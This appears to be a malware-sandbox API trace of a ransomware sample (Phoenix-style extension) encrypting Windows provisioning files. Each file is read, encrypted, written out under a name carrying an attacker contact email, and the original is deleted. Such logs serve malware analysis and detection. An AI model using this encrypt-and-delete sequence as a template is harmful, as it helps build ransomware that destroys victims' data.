	[0249.160] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\383__Connections_Cellular_MobileOne (Singapore)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\383__connections_cellular_mobileone (singapore)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0249.160] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\383__Connections_Cellular_MobileOne (Singapore)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\383__connections_cellular_mobileone (singapore)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0249.160] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0249.160] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0249.160] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\383__Connections_Cellular_MobileOne (Singapore)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\383__connections_cellular_mobileone (singapore)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0249.289] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1513c0) returned 1
	[0249.289] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0249.289] ReadFile (in: hFile=0x2c4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2d3, lpOverlapped=0x0) returned 1
	[0249.346] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0) returned 1
	[0249.346] WriteFile (in: hFile=0x2f0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2e0, lpOverlapped=0x0) returned 1
	[0249.347] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151500) returned 1
	[0249.347] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0249.347] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0249.348] CryptDestroyKey (hKey=0x151500) returned 1
	[0249.348] WriteFile (in: hFile=0x2f0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0249.348] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0249.348] CloseHandle (hObject=0x2c4) returned 1
	[0249.348] CloseHandle (hObject=0x2f0) returned 1
	[0249.348] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\383__Connections_Cellular_MobileOne (Singapore)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\383__connections_cellular_mobileone (singapore)_i1$(__mvid)@wap.provxml")) returned 1
	[0249.349] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0249.349] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\386__Connections_Cellular_Singtel (Singapore)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\386__connections_cellular_singtel (singapore)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0249.349] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=709) returned 1
	[0249.349] CloseHandle (hObject=0x2f0) returned 1
	[0249.350] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\386__Connections_Cellular_Singtel (Singapore)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\386__connections_cellular_singtel (singapore)_i2$(__mvid)@wap.provxml")) returned 0x20
	[0249.350] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\386__Connections_Cellular_Singtel (Singapore)_i2$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\386__connections_cellular_singtel (singapore)_i2$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0249.350] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\386__Connections_Cellular_Singtel (Singapore)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\386__connections_cellular_singtel (singapore)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0249.350] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0249.350] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0249.350] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\386__Connections_Cellular_Singtel (Singapore)_i2$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\386__connections_cellular_singtel (singapore)_i2$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0249.350] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151600) returned 1
	[0249.350] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0249.350] ReadFile (in: hFile=0x2f0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2c5, lpOverlapped=0x0) returned 1
	[0249.369] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0249.369] WriteFile (in: hFile=0x2c4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0249.370] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151680) returned 1
	[0249.370] CryptSetKeyParam (hKey=0x151680, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0249.370] CryptEncrypt (in: hKey=0x151680, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0249.370] CryptDestroyKey (hKey=0x151680) returned 1
	[0249.371] WriteFile (in: hFile=0x2c4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0249.371] CryptDestroyKey (hKey=0x151600) returned 1
	[0249.371] CloseHandle (hObject=0x2f0) returned 1
	[0249.371] CloseHandle (hObject=0x2c4) returned 1
	[0249.371] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\386__Connections_Cellular_Singtel (Singapore)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\386__connections_cellular_singtel (singapore)_i2$(__mvid)@wap.provxml")) returned 1
	[0249.372] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0249.372] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\389__Connections_Cellular_Starhub (Singapore)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\389__connections_cellular_starhub (singapore)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0249.372] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=847) returned 1
	[0249.372] CloseHandle (hObject=0x2c4) returned 1
	[0249.372] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\389__Connections_Cellular_Starhub (Singapore)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\389__connections_cellular_starhub (singapore)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0249.372] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\389__Connections_Cellular_Starhub (Singapore)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\389__connections_cellular_starhub (singapore)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0249.372] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\389__Connections_Cellular_Starhub (Singapore)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\389__connections_cellular_starhub (singapore)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0249.373] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0249.373] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0249.373] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\389__Connections_Cellular_Starhub (Singapore)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\389__connections_cellular_starhub (singapore)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0249.373] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1512c0) returned 1
	[0249.373] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0249.373] ReadFile (in: hFile=0x2c4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x34f, lpOverlapped=0x0) returned 1
	[0249.406] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x350, dwBufLen=0x350 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x350) returned 1
	[0249.406] WriteFile (in: hFile=0x2f0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x350, lpOverlapped=0x0) returned 1
	[0249.406] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151600) returned 1
	[0249.407] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0249.407] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0249.407] CryptDestroyKey (hKey=0x151600) returned 1
	[0249.407] WriteFile (in: hFile=0x2f0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0249.407] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0249.407] CloseHandle (hObject=0x2c4) returned 1
	[0249.407] CloseHandle (hObject=0x2f0) returned 1
	[0249.407] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\389__Connections_Cellular_Starhub (Singapore)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\389__connections_cellular_starhub (singapore)_i1$(__mvid)@wap.provxml")) returned 1
	[0249.408] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0249.408] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\391__Connections_Cellular_O2 (Slovakia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\391__connections_cellular_o2 (slovakia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0249.409] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=641) returned 1
	[0249.409] CloseHandle (hObject=0x2f0) returned 1
	[0249.409] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\391__Connections_Cellular_O2 (Slovakia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\391__connections_cellular_o2 (slovakia)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0249.409] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\391__Connections_Cellular_O2 (Slovakia)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\391__connections_cellular_o2 (slovakia)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0249.409] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\391__Connections_Cellular_O2 (Slovakia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\391__connections_cellular_o2 (slovakia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0249.409] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0249.409] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0249.409] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\391__Connections_Cellular_O2 (Slovakia)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\391__connections_cellular_o2 (slovakia)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0249.409] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1514c0) returned 1
	[0249.409] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0249.409] ReadFile (in: hFile=0x2f0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x281, lpOverlapped=0x0) returned 1
	[0249.416] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x290, dwBufLen=0x290 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x290) returned 1
	[0249.416] WriteFile (in: hFile=0x2c4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x290, lpOverlapped=0x0) returned 1
	[0249.417] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151640) returned 1
	[0249.417] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0249.417] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0, dwBufLen=0xa0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0) returned 1
	[0249.417] CryptDestroyKey (hKey=0x151640) returned 1
	[0249.417] WriteFile (in: hFile=0x2c4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x152, lpOverlapped=0x0) returned 1
	[0249.417] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0249.417] CloseHandle (hObject=0x2f0) returned 1
	[0249.417] CloseHandle (hObject=0x2c4) returned 1
	[0249.417] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\391__Connections_Cellular_O2 (Slovakia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\391__connections_cellular_o2 (slovakia)_i0$(__mvid)@wap.provxml")) returned 1
	[0249.418] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0249.418] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\393__Connections_Cellular_Slovak Telekom (Slovakia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\393__connections_cellular_slovak telekom (slovakia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0249.418] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=722) returned 1
	[0249.419] CloseHandle (hObject=0x2c4) returned 1
	[0249.419] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\393__Connections_Cellular_Slovak Telekom (Slovakia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\393__connections_cellular_slovak telekom (slovakia)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0249.419] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\393__Connections_Cellular_Slovak Telekom (Slovakia)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\393__connections_cellular_slovak telekom (slovakia)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0249.419] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\393__Connections_Cellular_Slovak Telekom (Slovakia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\393__connections_cellular_slovak telekom (slovakia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0249.419] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0249.419] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0249.419] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\393__Connections_Cellular_Slovak Telekom (Slovakia)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\393__connections_cellular_slovak telekom (slovakia)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
